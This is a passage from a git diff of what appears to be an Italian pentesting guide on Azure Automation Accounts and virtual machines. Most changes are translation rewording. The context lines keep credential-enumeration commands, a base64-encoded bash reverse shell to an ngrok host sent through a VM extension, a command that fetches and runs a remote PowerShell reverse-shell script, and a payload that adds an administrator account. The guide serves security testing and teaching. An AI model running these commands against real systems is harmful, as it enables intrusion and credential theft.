-OutputFolder /tmp + +# List credentials & variables & others +Get-AzAutomationAccount | Get-AzAutomationCredential +Get-AzAutomationAccount | Get-AzAutomationVariable +Get-AzAutomationAccount | Get-AzAutomationConnection +Get-AzAutomationAccount | Get-AzAutomationCertificate +Get-AzAutomationAccount | Get-AzAutomationSchedule +Get-AzAutomationAccount | Get-AzAutomationModule +Get-AzAutomationAccount | Get-AzAutomationPython3Package +## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them + +# List hybrid workers +Get-AzAutomationHybridWorkerGroup -AutomationAccountName -ResourceGroupName +``` +## Escalation dei privilegi e Post Exploitation + +{{#ref}} +../az-privilege-escalation/az-automation-accounts-privesc.md +{{#endref}} + +## Riferimenti + +- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview) +- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) +- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/vms/README.md b/src/pentesting-cloud/azure-security/az-services/vms/README.md index d02ba73bd..bc92b5231 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/README.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/README.md @@ -19,7 +19,7 @@ Le Macchine Virtuali (VM) di Azure sono server **basati su cloud flessibili e on - **Zone di Disponibilità**: Le zone di disponibilità sono gruppi distinti di data center all'interno di una specifica regione di Azure che sono fisicamente separati per ridurre al minimo il rischio che più zone siano colpite da interruzioni locali o disastri. - **Tipo di Sicurezza**: - **Sicurezza Standard**: Questo è il tipo di sicurezza predefinito che non richiede alcuna configurazione specifica. -- **Avvio Fidato**: Questo tipo di sicurezza migliora la protezione contro boot kit e malware a livello di kernel utilizzando Secure Boot e Virtual Trusted Platform Module (vTPM). +- **Avvio Fidato**: Questo tipo di sicurezza migliora la protezione contro i boot kit e il malware a livello di kernel utilizzando Secure Boot e Virtual Trusted Platform Module (vTPM). - **VM Riservate**: Oltre a un avvio fidato, offre isolamento basato su hardware tra la VM, l'ipervisore e la gestione dell'host, migliora la crittografia del disco e [**altro**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.** - **Autenticazione**: Per impostazione predefinita, viene generata una nuova **chiave SSH**, anche se è possibile utilizzare una chiave pubblica o utilizzare una chiave precedente e il nome utente per impostazione predefinita è **azureuser**. È anche possibile configurare l'uso di una **password.** - **Crittografia del disco VM:** Il disco è crittografato a riposo per impostazione predefinita utilizzando una chiave gestita dalla piattaforma. @@ -28,13 +28,13 @@ Le Macchine Virtuali (VM) di Azure sono server **basati su cloud flessibili e on - **Nessuno**: Apre fondamentalmente ogni porta - **Base**: Consente di aprire facilmente le porte in entrata HTTP (80), HTTPS (443), SSH (22), RDP (3389) - **Avanzato**: Seleziona un gruppo di sicurezza -- **Backup**: È possibile abilitare il backup **Standard** (una volta al giorno) e **Migliorato** (più volte al giorno) +- **Backup**: È possibile abilitare il backup **Standard** (una volta al giorno) e **Potenziato** (più volte al giorno) - **Opzioni di orchestrazione delle patch**: Questo consente di applicare automaticamente le patch nelle VM secondo la politica selezionata come descritto nei [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching). - **Avvisi**: È possibile ricevere automaticamente avvisi via email o app mobile quando accade qualcosa nella VM. Regole predefinite: - Percentuale CPU superiore all'80% - Byte di Memoria Disponibile inferiori a 1GB -- Percentuale di IOPS Consumato dai Dischi Dati superiore al 95% -- Percentuale di IOPS Consumato dal SO superiore al 95% +- Percentuale di IOPS Consumi dei Dischi Dati superiore al 95% +- Percentuale di IOPS Consumi del SO superiore al 95% - Rete in Totale superiore a 500GB - Rete Out Totale superiore a 200GB - VmAvailabilityMetric inferiore a 1 @@ -47,11 +47,11 @@ Le Macchine Virtuali (VM) di Azure sono server **basati su cloud flessibili e on - È possibile **abilitare l'attacco di un disco a 2 o più VM** - Per impostazione predefinita, ogni disco è **crittografato** con una chiave della piattaforma. -- Stesso discorso per gli snapshot -- Per impostazione predefinita, è possibile **condividere il disco da tutte le reti**, ma può anche essere **ristretto** solo a determinati **accessi privati** o **completamente disabilitare** l'accesso pubblico e privato. -- Stesso discorso per gli snapshot +- Stesso per gli snapshot +- Per impostazione predefinita, è possibile **condividere il disco da tutte le reti**, ma può anche essere **ristretto** solo a determinati **accessi privati** o **disabilitare completamente** l'accesso pubblico e privato. +- Stesso per gli snapshot - È possibile **generare un URI SAS** (di max 60 giorni) per **esportare il disco**, che può essere configurato per richiedere autenticazione o meno -- Stesso discorso per gli snapshot +- Stesso per gli snapshot {{#tabs}} {{#tab name="az cli"}} @@ -76,7 +76,7 @@ Get-AzDisk -Name -ResourceGroupName ## Immagini, Immagini della Galleria e Punti di Ripristino -Un **VM image** è un modello che contiene il sistema operativo, le impostazioni dell'applicazione e il filesystem necessari per **creare una nuova macchina virtuale (VM)**. La differenza tra un'immagine e uno snapshot del disco è che uno snapshot del disco è una copia in sola lettura, a un determinato momento, di un singolo disco gestito, utilizzato principalmente per il backup o la risoluzione dei problemi, mentre un'immagine può contenere **più dischi ed è progettata per servire come modello per la creazione di nuove VM**.\ +Un **VM image** è un modello che contiene il sistema operativo, le impostazioni dell'applicazione e il filesystem necessari per **creare una nuova macchina virtuale (VM)**. La differenza tra un'immagine e uno snapshot del disco è che uno snapshot del disco è una copia in sola lettura, a un determinato momento, di un singolo disco gestito, utilizzato principalmente per backup o risoluzione dei problemi, mentre un'immagine può contenere **più dischi ed è progettata per servire come modello per la creazione di nuove VM**.\ Le immagini possono essere gestite nella **sezione Immagini** di Azure o all'interno delle **gallerie di calcolo di Azure**, che consentono di generare **versioni** e **condividere** l'immagine tra tenant o addirittura renderla pubblica. Un **punto di ripristino** memorizza la configurazione della VM e **snapshot** dell'applicazione **coerenti nel tempo** di tutti i dischi gestiti collegati alla VM. È correlato alla VM e il suo scopo è quello di poter ripristinare quella VM a come era in quel specifico momento. @@ -150,7 +150,7 @@ Dalla [**documentazione**](https://learn.microsoft.com/en-us/azure/site-recovery Azure Bastion consente un accesso sicuro e senza soluzione di continuità al **Remote Desktop Protocol (RDP)** e **Secure Shell (SSH)** alle tue macchine virtuali (VM) direttamente tramite il Portale Azure o tramite un jump box. Eliminando **la necessità di indirizzi IP pubblici** sulle tue VM. -Il Bastion distribuisce una subnet chiamata **`AzureBastionSubnet`** con una netmask di `/26` nella VNet su cui deve operare. Quindi, consente di **connettersi a VM interne tramite il browser** utilizzando `RDP` e `SSH`, evitando di esporre le porte delle VM a Internet. Può anche funzionare come un **jump host**. +Il Bastion distribuisce una subnet chiamata **`AzureBastionSubnet`** con una maschera di rete `/26` nella VNet su cui deve operare. Quindi, consente di **connettersi a VM interne tramite il browser** utilizzando `RDP` e `SSH`, evitando di esporre le porte delle VM a Internet. Può anche funzionare come un **jump host**. Per elencare tutti gli Azure Bastion Hosts nella tua sottoscrizione e connetterti alle VM tramite essi, puoi utilizzare i seguenti comandi: @@ -189,7 +189,7 @@ Get-AzBastion ## Metadata -Il servizio di metadati delle istanze Azure (IMDS) **fornisce informazioni sulle istanze di macchine virtuali in esecuzione** per assistere nella loro gestione e configurazione. Offre dettagli come SKU, configurazioni di archiviazione, configurazioni di rete e informazioni sugli eventi di manutenzione imminenti tramite **REST API disponibile all'indirizzo IP non instradabile 169.254.169.254**, accessibile solo dall'interno della VM. La comunicazione tra la VM e IMDS rimane all'interno dell'host, garantendo un accesso sicuro. Quando si interroga IMDS, i client HTTP all'interno della VM dovrebbero bypassare i proxy web per garantire una comunicazione corretta. +Il servizio di metadati delle istanze Azure (IMDS) **fornisce informazioni sulle istanze di macchine virtuali in esecuzione** per assistere nella loro gestione e configurazione. Offre dettagli come SKU, archiviazione, configurazioni di rete e informazioni sugli eventi di manutenzione imminenti tramite **REST API disponibile all'indirizzo IP non instradabile 169.254.169.254**, accessibile solo dall'interno della VM. La comunicazione tra la VM e IMDS rimane all'interno dell'host, garantendo un accesso sicuro. Quando si interroga IMDS, i client HTTP all'interno della VM dovrebbero bypassare i proxy web per garantire una comunicazione corretta. Inoltre, per contattare l'endpoint dei metadati, la richiesta HTTP deve avere l'intestazione **`Metadata: true`** e non deve avere l'intestazione **`X-Forwarded-For`**. @@ -431,7 +431,7 @@ Get-AzVMExtension -VMName -ResourceGroupName ### Estensioni VM -Le estensioni delle VM di Azure sono piccole applicazioni che forniscono **configurazione post-deployment** e compiti di automazione sulle macchine virtuali (VM) di Azure. +Le estensioni VM di Azure sono piccole applicazioni che forniscono **configurazione post-deployment** e compiti di automazione sulle macchine virtuali (VM) di Azure. Questo permetterebbe di **eseguire codice arbitrario all'interno delle VM**. @@ -478,7 +478,7 @@ az vm extension set \ --settings '{}' \ --protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}' ``` -- Esegui uno script situato su Internet +- Eseguire uno script situato su Internet ```bash az vm extension set \ --resource-group rsc-group> \ @@ -520,7 +520,7 @@ az vm extension set \ --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \ --protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}' ``` -Puoi anche eseguire altri payload come: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` +Potresti anche eseguire altri payload come: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` - Reimposta la password utilizzando l'estensione VMAccess ```powershell @@ -549,9 +549,9 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na
-DesiredConfigurationState (DSC) +DesiredStateConfiguration (DSC) -Questa è un'**estensione VM** che appartiene a Microsoft e utilizza PowerShell DSC per gestire la configurazione delle VM Windows di Azure. Pertanto, può essere utilizzata per **eseguire comandi arbitrari** nelle VM Windows tramite questa estensione: +Questa è un **estensione VM** che appartiene a Microsoft e utilizza PowerShell DSC per gestire la configurazione delle VM Windows di Azure. Pertanto, può essere utilizzata per **eseguire comandi arbitrari** nelle VM Windows tramite questa estensione: ```powershell # Content of revShell.ps1 Configuration RevShellConfig { @@ -603,7 +603,7 @@ Set-AzVMDscExtension ` Hybrid Runbook Worker -Questa è un'estensione VM che consente di eseguire runbook in VM da un account di automazione. Per ulteriori informazioni, controlla il [servizio Automation Accounts](../az-automation-account/). +Questa è un'estensione VM che consente di eseguire runbook in VM da un account di automazione. Per ulteriori informazioni, controlla il [servizio Automation Accounts](../az-automation-account/index.html).
@@ -727,7 +727,7 @@ Questi sono **dati persistenti** che possono essere recuperati dall'endpoint dei È possibile passare alcuni dati alla VM che saranno memorizzati nei percorsi previsti: -- In **Windows**, i dati personalizzati sono collocati in `%SYSTEMDRIVE%\AzureData\CustomData.bin` come file binario e non vengono elaborati. +- In **Windows**, i dati personalizzati vengono posizionati in `%SYSTEMDRIVE%\AzureData\CustomData.bin` come file binario e non vengono elaborati. - In **Linux**, erano memorizzati in `/var/lib/waagent/ovf-env.xml` e ora sono memorizzati in `/var/lib/waagent/CustomData/ovf-env.xml` - **Agente Linux**: Non elabora i dati personalizzati per impostazione predefinita, è necessaria un'immagine personalizzata con i dati abilitati - **cloud-init:** Per impostazione predefinita elabora i dati personalizzati e questi dati possono essere in [**diversi formati**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Potrebbe eseguire uno script facilmente inviando semplicemente lo script nei dati personalizzati.